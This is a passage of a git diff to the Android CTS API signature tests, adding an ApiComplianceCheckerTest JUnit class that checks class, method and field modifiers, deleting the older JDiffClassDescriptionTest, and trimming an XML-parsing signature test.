-
- private HashSet<String> mKeyTagSet;
- private TestResultObserver mResultObserver;
-
- private class TestResultObserver implements ResultObserver {
- boolean mDidFail = false;
- StringBuilder mErrorString = new StringBuilder();
-
- @Override
- public void notifyFailure(FailureType type, String name, String errorMessage) {
- mDidFail = true;
- mErrorString.append("\n");
- mErrorString.append(type.toString().toLowerCase());
- mErrorString.append(":\t");
- mErrorString.append(name);
- mErrorString.append("\tError: ");
- mErrorString.append(errorMessage);
- }
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mKeyTagSet = new HashSet<String>();
- mKeyTagSet.addAll(Arrays.asList(new String[] {
- TAG_PACKAGE, TAG_CLASS, TAG_INTERFACE, TAG_IMPLEMENTS, TAG_CONSTRUCTOR,
- TAG_METHOD, TAG_PARAM, TAG_EXCEPTION, TAG_FIELD }));
- mResultObserver = new TestResultObserver();
- }
-
- /**
- * Tests that the device's API matches the expected set defined in xml.
- * <p/>
- * Will check the entire API, and then report the complete list of failures
- */
- public void testSignature() {
- try {
- XmlPullParserFactory factory = XmlPullParserFactory.newInstance();
- XmlPullParser parser = factory.newPullParser();
- parser.setInput(new FileInputStream(new File(CURRENT_API_FILE)), null);
- start(parser);
- } catch (Exception e) {
- mResultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION, e.getMessage(),
- e.getMessage());
- }
- if (mResultObserver.mDidFail) {
- fail(mResultObserver.mErrorString.toString());
- }
- }
-
- private void beginDocument(XmlPullParser parser, String firstElementName)
- throws XmlPullParserException, IOException {
- int type;
- while ((type=parser.next()) != XmlPullParser.START_TAG
- && type != XmlPullParser.END_DOCUMENT) { }
-
- if (type != XmlPullParser.START_TAG) {
- throw new XmlPullParserException("No start tag found");
- }
-
- if (!parser.getName().equals(firstElementName)) {
- throw new XmlPullParserException("Unexpected start tag: found " + parser.getName() +
- ", expected " + firstElementName);
- }
- }
-
- /**
- * Signature test entry point.
- */
- private void start(XmlPullParser parser) throws XmlPullParserException, IOException {
- logd(String.format("Name: %s", parser.getName()));
- logd(String.format("Text: %s", parser.getText()));
- logd(String.format("Namespace: %s", parser.getNamespace()));
- logd(String.format("Line Number: %s", parser.getLineNumber()));
- logd(String.format("Column Number: %s", parser.getColumnNumber()));
- logd(String.format("Position Description: %s", parser.getPositionDescription()));
- JDiffClassDescription currentClass = null;
- String currentPackage = "";
- JDiffMethod currentMethod = null;
-
- beginDocument(parser, TAG_ROOT);
- int type;
- while (true) {
- type = XmlPullParser.START_DOCUMENT;
- while ((type=parser.next()) != XmlPullParser.START_TAG
- && type != XmlPullParser.END_DOCUMENT
- && type != XmlPullParser.END_TAG) {
-
- }
-
- if (type == XmlPullParser.END_TAG) {
- if (TAG_CLASS.equals(parser.getName())
- || TAG_INTERFACE.equals(parser.getName())) {
- currentClass.checkSignatureCompliance();
- } else if (TAG_PACKAGE.equals(parser.getName())) {
- currentPackage = "";
- }
- continue;
- }
-
- if (type == XmlPullParser.END_DOCUMENT) {
- break;
- }
-
- String tagname = parser.getName();
- if (!mKeyTagSet.contains(tagname)) {
- continue;
- }
-
- if (type == XmlPullParser.START_TAG && tagname.equals(TAG_PACKAGE)) {
- currentPackage = parser.getAttributeValue(null, ATTRIBUTE_NAME);
- } else if (tagname.equals(TAG_CLASS)) {
- currentClass = CurrentApi.loadClassInfo(
- parser, false, currentPackage, mResultObserver);
- } else if (tagname.equals(TAG_INTERFACE)) {
- currentClass = CurrentApi.loadClassInfo(
- parser, true, currentPackage, mResultObserver);
- } else if (tagname.equals(TAG_IMPLEMENTS)) {
- currentClass.addImplInterface(parser.getAttributeValue(null, ATTRIBUTE_NAME));
- } else if (tagname.equals(TAG_CONSTRUCTOR)) {
- JDiffConstructor constructor =
- CurrentApi.loadConstructorInfo(parser, currentClass);
- currentClass.addConstructor(constructor);
- currentMethod = constructor;
- } else if (tagname.equals(TAG_METHOD)) {
- currentMethod = CurrentApi.loadMethodInfo(currentClass.getClassName(), parser);
- currentClass.addMethod(currentMethod);
- } else if (tagname.equals(TAG_PARAM)) {
- currentMethod.addParam(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
- } else if (tagname.equals(TAG_EXCEPTION)) {
- currentMethod.addException(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
- } else if (tagname.equals(TAG_FIELD)) {
- JDiffField field = CurrentApi.loadFieldInfo(currentClass.getClassName(), parser);
- currentClass.addField(field);
- } else {
- throw new RuntimeException(
- "unknown tag exception:" + tagname);
- }
- if (currentPackage != null) {
- logd(String.format("currentPackage: %s", currentPackage));
- }
- if (currentClass != null) {
- logd(String.format("currentClass: %s", currentClass.toSignatureString()));
- }
- if (currentMethod != null) {
- logd(String.format("currentMethod: %s", currentMethod.toSignatureString()));
- }
- }
- }
-
- public static void loge(String msg, Exception e) {
- Log.e(TAG, msg, e);
- }
-
- public static void logd(String msg) {
- Log.d(TAG, msg);
- }
-}
diff --git a/tests/signature/tests/src/android/signature/cts/tests/AllTests.java b/tests/signature/tests/src/android/signature/cts/tests/AllTests.java
index 56916f4..71b1e35 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/AllTests.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/AllTests.java
@@ -27,7 +27,7 @@
public AllTests() {
super();
- addTestSuite(JDiffClassDescriptionTest.class);
+ addTestSuite(ApiComplianceCheckerTest.class);
}
public static Test suite() {
diff --git a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
new file mode 100644
index 0000000..71d2e37
--- /dev/null
+++ b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
@@ -0,0 +1,504 @@
+/*
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.tests;
+
+import android.signature.cts.ApiComplianceChecker;
+import android.signature.cts.FailureType;
+import android.signature.cts.JDiffClassDescription;
+import android.signature.cts.ResultObserver;
+
+import junit.framework.Assert;
+import junit.framework.TestCase;
+
+import java.lang.reflect.Modifier;
+
+/**
+ * Test class for JDiffClassDescription.
+ */
+public class ApiComplianceCheckerTest extends TestCase {
+
+ private static final String VALUE = "VALUE";
+
+ private class NoFailures implements ResultObserver {
+ @Override
+ public void notifyFailure(FailureType type, String name, String errmsg) {
+ Assert.fail("Saw unexpected test failure: " + name + " failure type: " + type);
+ }
+ }
+
+ private class ExpectFailure implements ResultObserver {
+ private FailureType expectedType;
+ private boolean failureSeen;
+
+ ExpectFailure(FailureType expectedType) {
+ this.expectedType = expectedType;
+ }
+
+ @Override
+ public void notifyFailure(FailureType type, String name, String errMsg) {
+ if (type == expectedType) {
+ if (failureSeen) {
+ Assert.fail("Saw second test failure: " + name + " failure type: " + type);
+ } else {
+ // We've seen the error, mark it and keep going
+ failureSeen = true;
+ }
+ } else {
+ Assert.fail("Saw unexpected test failure: " + name + " failure type: " + type);
+ }
+ }
+
+ void validate() {
+ Assert.assertTrue(failureSeen);
+ }
+ }
+
+ private void checkSignatureCompliance(JDiffClassDescription classDescription) {
+ ResultObserver resultObserver = new NoFailures();
+ checkSignatureCompliance(classDescription, resultObserver);
+ }
+
+ private void checkSignatureCompliance(JDiffClassDescription classDescription,
+ ResultObserver resultObserver) {
+ ApiComplianceChecker complianceChecker = new ApiComplianceChecker(resultObserver);
+ complianceChecker.checkSignatureCompliance(classDescription);
+ }
+
+ /**
+ * Create the JDiffClassDescription for "NormalClass".
+ *
+ * @return the new JDiffClassDescription
+ */
+ private JDiffClassDescription createNormalClass() {
+ JDiffClassDescription clz = new JDiffClassDescription(
+ "android.signature.cts.tests.data", "NormalClass");
+ clz.setType(JDiffClassDescription.JDiffType.CLASS);
+ clz.setModifier(Modifier.PUBLIC);
+ return clz;
+ }
+
+ public void testNormalClassCompliance() {
+ JDiffClassDescription clz = createNormalClass();
+ checkSignatureCompliance(clz);
+ assertEquals(clz.toSignatureString(), "public class NormalClass");
+ }
+
+ public void testMissingClass() {
+ ExpectFailure observer = new ExpectFailure(FailureType.MISSING_CLASS);
+ JDiffClassDescription clz = new JDiffClassDescription(
+ "android.signature.cts.tests.data", "NoSuchClass");
+ clz.setType(JDiffClassDescription.JDiffType.CLASS);
+ checkSignatureCompliance(clz, observer);
+ observer.validate();
+ }
+
+ public void testSimpleConstructor() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffConstructor constructor =
+ new JDiffClassDescription.JDiffConstructor("NormalClass", Modifier.PUBLIC);
+ clz.addConstructor(constructor);
+ checkSignatureCompliance(clz);
+ assertEquals(constructor.toSignatureString(), "public NormalClass()");
+ }
+
+ public void testOneArgConstructor() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffConstructor constructor =
+ new JDiffClassDescription.JDiffConstructor("NormalClass", Modifier.PRIVATE);
+ constructor.addParam("java.lang.String");
+ clz.addConstructor(constructor);
+ checkSignatureCompliance(clz);
+ assertEquals(constructor.toSignatureString(), "private NormalClass(java.lang.String)");
+ }
+
+ public void testConstructorThrowsException() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffConstructor constructor =
+ new JDiffClassDescription.JDiffConstructor("NormalClass", Modifier.PROTECTED);
+ constructor.addParam("java.lang.String");
+ constructor.addParam("java.lang.String");
+ constructor.addException("android.signature.cts.tests.data.NormalException");
+ clz.addConstructor(constructor);
+ checkSignatureCompliance(clz);
+ assertEquals(constructor.toSignatureString(),
+ "protected NormalClass(java.lang.String, java.lang.String) " +
+ "throws android.signature.cts.tests.data.NormalException");
+ }
+
+ public void testPackageProtectedConstructor() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffConstructor constructor =
+ new JDiffClassDescription.JDiffConstructor("NormalClass", 0);
+ constructor.addParam("java.lang.String");
+ constructor.addParam("java.lang.String");
+ constructor.addParam("java.lang.String");
+ clz.addConstructor(constructor);
+ checkSignatureCompliance(clz);
+ assertEquals(constructor.toSignatureString(),
+ "NormalClass(java.lang.String, java.lang.String, java.lang.String)");
+ }
+
+ public void testStaticMethod() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+ "staticMethod", Modifier.STATIC | Modifier.PUBLIC, "void");
+ clz.addMethod(method);
+ checkSignatureCompliance(clz);
+ assertEquals(method.toSignatureString(), "public static void staticMethod()");
+ }
+
+ public void testSyncMethod() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+ "syncMethod", Modifier.SYNCHRONIZED | Modifier.PUBLIC, "void");
+ clz.addMethod(method);
+ checkSignatureCompliance(clz);
+ assertEquals(method.toSignatureString(), "public synchronized void syncMethod()");
+ }
+
+ public void testPackageProtectMethod() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+ "packageProtectedMethod", 0, "boolean");
+ clz.addMethod(method);
+ checkSignatureCompliance(clz);
+ assertEquals(method.toSignatureString(), "boolean packageProtectedMethod()");
+ }
+
+ public void testPrivateMethod() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+ "privateMethod", Modifier.PRIVATE, "void");
+ clz.addMethod(method);
+ checkSignatureCompliance(clz);
+ assertEquals(method.toSignatureString(), "private void privateMethod()");
+ }
+
+ public void testProtectedMethod() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+ "protectedMethod", Modifier.PROTECTED, "java.lang.String");
+ clz.addMethod(method);
+ checkSignatureCompliance(clz);
+ assertEquals(method.toSignatureString(), "protected java.lang.String protectedMethod()");
+ }
+
+ public void testThrowsMethod() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+ "throwsMethod", Modifier.PUBLIC, "void");
+ method.addException("android.signature.cts.tests.data.NormalException");
+ clz.addMethod(method);
+ checkSignatureCompliance(clz);
+ assertEquals(method.toSignatureString(), "public void throwsMethod() " +
+ "throws android.signature.cts.tests.data.NormalException");
+ }
+
+ public void testNativeMethod() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+ "nativeMethod", Modifier.PUBLIC | Modifier.NATIVE, "void");
+ clz.addMethod(method);
+ checkSignatureCompliance(clz);
+ assertEquals(method.toSignatureString(), "public native void nativeMethod()");
+ }
+
+ public void testFinalField() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+ "FINAL_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.FINAL, VALUE);
+ clz.addField(field);
+ checkSignatureCompliance(clz);
+ assertEquals(field.toSignatureString(), "public final java.lang.String FINAL_FIELD");
+ }
+
+ public void testStaticField() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+ "STATIC_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.STATIC, VALUE);
+ clz.addField(field);
+ checkSignatureCompliance(clz);
+ assertEquals(field.toSignatureString(), "public static java.lang.String STATIC_FIELD");
+ }
+
+ public void testVolatileFiled() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+ "VOLATILE_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.VOLATILE, VALUE);
+ clz.addField(field);
+ checkSignatureCompliance(clz);
+ assertEquals(field.toSignatureString(), "public volatile java.lang.String VOLATILE_FIELD");
+ }
+
+ public void testTransientField() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+ "TRANSIENT_FIELD", "java.lang.String",
+ Modifier.PUBLIC | Modifier.TRANSIENT, VALUE);
+ clz.addField(field);
+ checkSignatureCompliance(clz);
+ assertEquals(field.toSignatureString(),
+ "public transient java.lang.String TRANSIENT_FIELD");
+ }
+
+ public void testPackageField() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+ "PACAKGE_FIELD", "java.lang.String", 0, VALUE);
+ clz.addField(field);
+ checkSignatureCompliance(clz);
+ assertEquals(field.toSignatureString(), "java.lang.String PACAKGE_FIELD");
+ }
+
+ public void testPrivateField() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+ "PRIVATE_FIELD", "java.lang.String", Modifier.PRIVATE, VALUE);
+ clz.addField(field);
+ checkSignatureCompliance(clz);
+ assertEquals(field.toSignatureString(), "private java.lang.String PRIVATE_FIELD");
+ }
+
+ public void testProtectedField() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+ "PROTECTED_FIELD", "java.lang.String", Modifier.PROTECTED, VALUE);
+ clz.addField(field);
+ checkSignatureCompliance(clz);
+ assertEquals(field.toSignatureString(), "protected java.lang.String PROTECTED_FIELD");
+ }
+
+ public void testFieldValue() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+ "VALUE_FIELD", "java.lang.String",
+ Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC , "\"\\u2708\"");
+ clz.addField(field);
+ checkSignatureCompliance(clz);
+ assertEquals(field.toSignatureString(),
+ "public static final java.lang.String VALUE_FIELD");
+ }
+
+ public void testFieldValueChanged() {
+ ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_FIELD);
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+ "VALUE_FIELD", "java.lang.String",
+ Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC , "\"✈\"");
+ clz.addField(field);
+ checkSignatureCompliance(clz, observer);
+ assertEquals(field.toSignatureString(),
+ "public static final java.lang.String VALUE_FIELD");
+ observer.validate();
+ }
+
+ public void testInnerClass() {
+ JDiffClassDescription clz = new JDiffClassDescription(
+ "android.signature.cts.tests.data", "NormalClass.InnerClass");
+ clz.setType(JDiffClassDescription.JDiffType.CLASS);
+ clz.setModifier(Modifier.PUBLIC);
+ JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+ "innerClassData", "java.lang.String", Modifier.PRIVATE, VALUE);
+ clz.addField(field);
+ checkSignatureCompliance(clz);
+ assertEquals(clz.toSignatureString(), "public class NormalClass.InnerClass");
+ }
+
+ public void testInnerInnerClass() {
+ JDiffClassDescription clz = new JDiffClassDescription(
+ "android.signature.cts.tests.data", "NormalClass.InnerClass.InnerInnerClass"
+ );
+ clz.setType(JDiffClassDescription.JDiffType.CLASS);
+ clz.setModifier(Modifier.PUBLIC);
+ JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+ "innerInnerClassData", "java.lang.String", Modifier.PRIVATE, VALUE);
+ clz.addField(field);
+ checkSignatureCompliance(clz);
+ assertEquals(clz.toSignatureString(),
+ "public class NormalClass.InnerClass.InnerInnerClass");
+ }
+
+ public void testInnerInterface() {
+ JDiffClassDescription clz = new JDiffClassDescription(
+ "android.signature.cts.tests.data", "NormalClass.InnerInterface");
+ clz.setType(JDiffClassDescription.JDiffType.INTERFACE);
+ clz.setModifier(Modifier.PUBLIC | Modifier.STATIC | Modifier.ABSTRACT);
+ clz.addMethod(
+ new JDiffClassDescription.JDiffMethod("doSomething",
+ Modifier.PUBLIC | Modifier.ABSTRACT, "void"));
+ checkSignatureCompliance(clz);
+ assertEquals(clz.toSignatureString(), "public interface NormalClass.InnerInterface");
+ }
+
+ public void testInterface() {
+ JDiffClassDescription clz = new JDiffClassDescription(
+ "android.signature.cts.tests.data", "NormalInterface");
+ clz.setType(JDiffClassDescription.JDiffType.INTERFACE);
+ clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
+ clz.addMethod(
+ new JDiffClassDescription.JDiffMethod("doSomething",
+ Modifier.ABSTRACT| Modifier.PUBLIC, "void"));
+ checkSignatureCompliance(clz);
+ assertEquals(clz.toSignatureString(), "public interface NormalInterface");
+ }
+
+ public void testFinalClass() {
+ JDiffClassDescription clz = new JDiffClassDescription(
+ "android.signature.cts.tests.data", "FinalClass");
+ clz.setType(JDiffClassDescription.JDiffType.CLASS);
+ clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
+ checkSignatureCompliance(clz);
+ assertEquals(clz.toSignatureString(), "public final class FinalClass");
+ }
+
+ /**
+ * Test the case where the API declares the method not synchronized, but it
+ * actually is.
+ */
+ public void testAddingSync() {
+ ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+ "syncMethod", Modifier.PUBLIC, "void");
+ clz.addMethod(method);
+ checkSignatureCompliance(clz, observer);
+ observer.validate();
+ }
+
+ /**
+ * Test the case where the API declares the method is synchronized, but it
+ * actually is not.
+ */
+ public void testRemovingSync() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+ "notSyncMethod", Modifier.SYNCHRONIZED | Modifier.PUBLIC, "void");
+ clz.addMethod(method);
+ checkSignatureCompliance(clz);
+ }
+
+ /**
+ * API says method is not native, but it actually is. http://b/1839558
+ */
+ public void testAddingNative() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+ "nativeMethod", Modifier.PUBLIC, "void");
+ clz.addMethod(method);
+ checkSignatureCompliance(clz);
+ }
+
+ /**
+ * API says method is native, but actually isn't. http://b/1839558
+ */
+ public void testRemovingNative() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+ "notNativeMethod", Modifier.NATIVE | Modifier.PUBLIC, "void");
+ clz.addMethod(method);
+ checkSignatureCompliance(clz);
+ }
+
+ public void testAbstractClass() {
+ JDiffClassDescription clz = new JDiffClassDescription(
+ "android.signature.cts.tests.data", "AbstractClass");
+ clz.setType(JDiffClassDescription.JDiffType.CLASS);
+ clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
+ checkSignatureCompliance(clz);
+ assertEquals(clz.toSignatureString(), "public abstract class AbstractClass");
+ }
+
+ /**
+ * API lists class as abstract, reflection does not. http://b/1839622
+ */
+ public void testRemovingAbstractFromAClass() {
+ JDiffClassDescription clz = new JDiffClassDescription(
+ "android.signature.cts.tests.data", "NormalClass");
+ clz.setType(JDiffClassDescription.JDiffType.CLASS);
+ clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
+ checkSignatureCompliance(clz);
+ }
+
+ /**
+ * reflection lists class as abstract, api does not. http://b/1839622
+ */
+ public void testAddingAbstractToAClass() {
+ ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_CLASS);
+ JDiffClassDescription clz = new JDiffClassDescription(
+ "android.signature.cts.tests.data", "AbstractClass");
+ clz.setType(JDiffClassDescription.JDiffType.CLASS);
+ clz.setModifier(Modifier.PUBLIC);
+ checkSignatureCompliance(clz, observer);
+ observer.validate();
+ }
+
+ public void testFinalMethod() {
+ JDiffClassDescription clz = createNormalClass();
+ JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+ "finalMethod", Modifier.PUBLIC | Modifier.FINAL, "void");
+ clz.addMethod(method);
+ checkSignatureCompliance(clz);
+ assertEquals(method.toSignatureString(), "public final void finalMethod()");
+ }
+
+ /**
+ * Final Class, API lists methods as non-final, reflection has it as final.
+ * http://b/1839589
+ */
+ public void testAddingFinalToAMethodInAFinalClass() {
+ JDiffClassDescription clz = new JDiffClassDescription(
+ "android.signature.cts.tests.data", "FinalClass");
+ clz.setType(JDiffClassDescription.JDiffType.CLASS);
+ clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
+ JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+ "finalMethod", Modifier.PUBLIC, "void");
+ clz.addMethod(method);
+ checkSignatureCompliance(clz);
+ }
+
+ /**
+ * Final Class, API lists methods as final, reflection has it as non-final.
+ * http://b/1839589
+ */
+ public void testRemovingFinalToAMethodInAFinalClass() {
+ JDiffClassDescription clz = new JDiffClassDescription(
+ "android.signature.cts.tests.data", "FinalClass");
+ clz.setType(JDiffClassDescription.JDiffType.CLASS);
+ clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
+ JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+ "nonFinalMethod", Modifier.PUBLIC | Modifier.FINAL, "void");
+ clz.addMethod(method);
+ checkSignatureCompliance(clz);
+ }
+
+ /**
+ * non-final Class, API lists methods as non-final, reflection has it as
+ * final. http://b/1839589
+ */
+ public void testAddingFinalToAMethodInANonFinalClass() {
+ ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
+ JDiffClassDescription clz = new JDiffClassDescription(
+ "android.signature.cts.tests.data", "NormalClass");
+ clz.setType(JDiffClassDescription.JDiffType.CLASS);
+ clz.setModifier(Modifier.PUBLIC);
+ JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+ "finalMethod", Modifier.PUBLIC, "void");
+ clz.addMethod(method);
+ checkSignatureCompliance(clz, observer);
+ observer.validate();
+ }
+}
diff --git a/tests/signature/tests/src/android/signature/cts/tests/JDiffClassDescriptionTest.java b/tests/signature/tests/src/android/signature/cts/tests/JDiffClassDescriptionTest.java
deleted file mode 100644
index 6e477ae..0000000
--- a/tests/signature/tests/src/android/signature/cts/tests/JDiffClassDescriptionTest.java
+++ /dev/null
@@ -1,501 +0,0 @@
-/*
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.signature.cts.tests;
-
-import android.signature.cts.FailureType;
-import android.signature.cts.JDiffClassDescription;
-import android.signature.cts.ResultObserver;
-
-import junit.framework.Assert;
-import junit.framework.TestCase;
-
-import java.lang.reflect.Modifier;
-
-/**
- * Test class for JDiffClassDescription.
- */
-public class JDiffClassDescriptionTest extends TestCase {
-
- private static final String VALUE = "VALUE";
-
- private class NoFailures implements ResultObserver {
- @Override
- public void notifyFailure(FailureType type, String name, String errmsg) {
- Assert.fail("Saw unexpected test failure: " + name + " failure type: " + type);
- }
- }
-
- private class ExpectFailure implements ResultObserver {
- private FailureType expectedType;
- private boolean failureSeen;
-
- public ExpectFailure(FailureType expectedType) {
- this.expectedType = expectedType;
- }
-
- @Override
- public void notifyFailure(FailureType type, String name, String errMsg) {
- if (type == expectedType) {
- if (failureSeen) {
- Assert.fail("Saw second test failure: " + name + " failure type: " + type);
- } else {
- // We've seen the error, mark it and keep going
- failureSeen = true;
- }
- } else {
- Assert.fail("Saw unexpected test failure: " + name + " failure type: " + type);
- }
- }
-
- public void validate() {
- Assert.assertTrue(failureSeen);
- }
- }
-
- /**
- * Create the JDiffClassDescription for "NormalClass".
- *
- * @return the new JDiffClassDescription
- */
- private JDiffClassDescription createNormalClass() {
- return createNormalClass(new NoFailures());
- }
-
- /**
- * Create the JDiffClassDescription for "NormalClass".
- *
- * @return the new JDiffClassDescription
- */
- private JDiffClassDescription createNormalClass(ResultObserver observer) {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "NormalClass", observer);
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC);
- return clz;
- }
-
- public void testNormalClassCompliance() {
- JDiffClassDescription clz = createNormalClass();
- clz.checkSignatureCompliance();
- assertEquals(clz.toSignatureString(), "public class NormalClass");
- }
-
- public void testMissingClass() {
- ExpectFailure observer = new ExpectFailure(FailureType.MISSING_CLASS);
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "NoSuchClass", observer);
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.checkSignatureCompliance();
- observer.validate();
- }
-
- public void testSimpleConstructor() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffConstructor constructor =
- new JDiffClassDescription.JDiffConstructor("NormalClass", Modifier.PUBLIC);
- clz.addConstructor(constructor);
- clz.checkSignatureCompliance();
- assertEquals(constructor.toSignatureString(), "public NormalClass()");
- }
-
- public void testOneArgConstructor() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffConstructor constructor =
- new JDiffClassDescription.JDiffConstructor("NormalClass", Modifier.PRIVATE);
- constructor.addParam("java.lang.String");
- clz.addConstructor(constructor);
- clz.checkSignatureCompliance();
- assertEquals(constructor.toSignatureString(), "private NormalClass(java.lang.String)");
- }
-
- public void testConstructorThrowsException() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffConstructor constructor =
- new JDiffClassDescription.JDiffConstructor("NormalClass", Modifier.PROTECTED);
- constructor.addParam("java.lang.String");
- constructor.addParam("java.lang.String");
- constructor.addException("android.signature.cts.tests.data.NormalException");
- clz.addConstructor(constructor);
- clz.checkSignatureCompliance();
- assertEquals(constructor.toSignatureString(),
- "protected NormalClass(java.lang.String, java.lang.String) " +
- "throws android.signature.cts.tests.data.NormalException");
- }
-
- public void testPackageProtectedConstructor() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffConstructor constructor =
- new JDiffClassDescription.JDiffConstructor("NormalClass", 0);
- constructor.addParam("java.lang.String");
- constructor.addParam("java.lang.String");
- constructor.addParam("java.lang.String");
- clz.addConstructor(constructor);
- clz.checkSignatureCompliance();
- assertEquals(constructor.toSignatureString(),
- "NormalClass(java.lang.String, java.lang.String, java.lang.String)");
- }
-
- public void testStaticMethod() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "staticMethod", Modifier.STATIC | Modifier.PUBLIC, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- assertEquals(method.toSignatureString(), "public static void staticMethod()");
- }
-
- public void testSyncMethod() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "syncMethod", Modifier.SYNCHRONIZED | Modifier.PUBLIC, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- assertEquals(method.toSignatureString(), "public synchronized void syncMethod()");
- }
-
- public void testPackageProtectMethod() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "packageProtectedMethod", 0, "boolean");
- clz.addMethod(method);
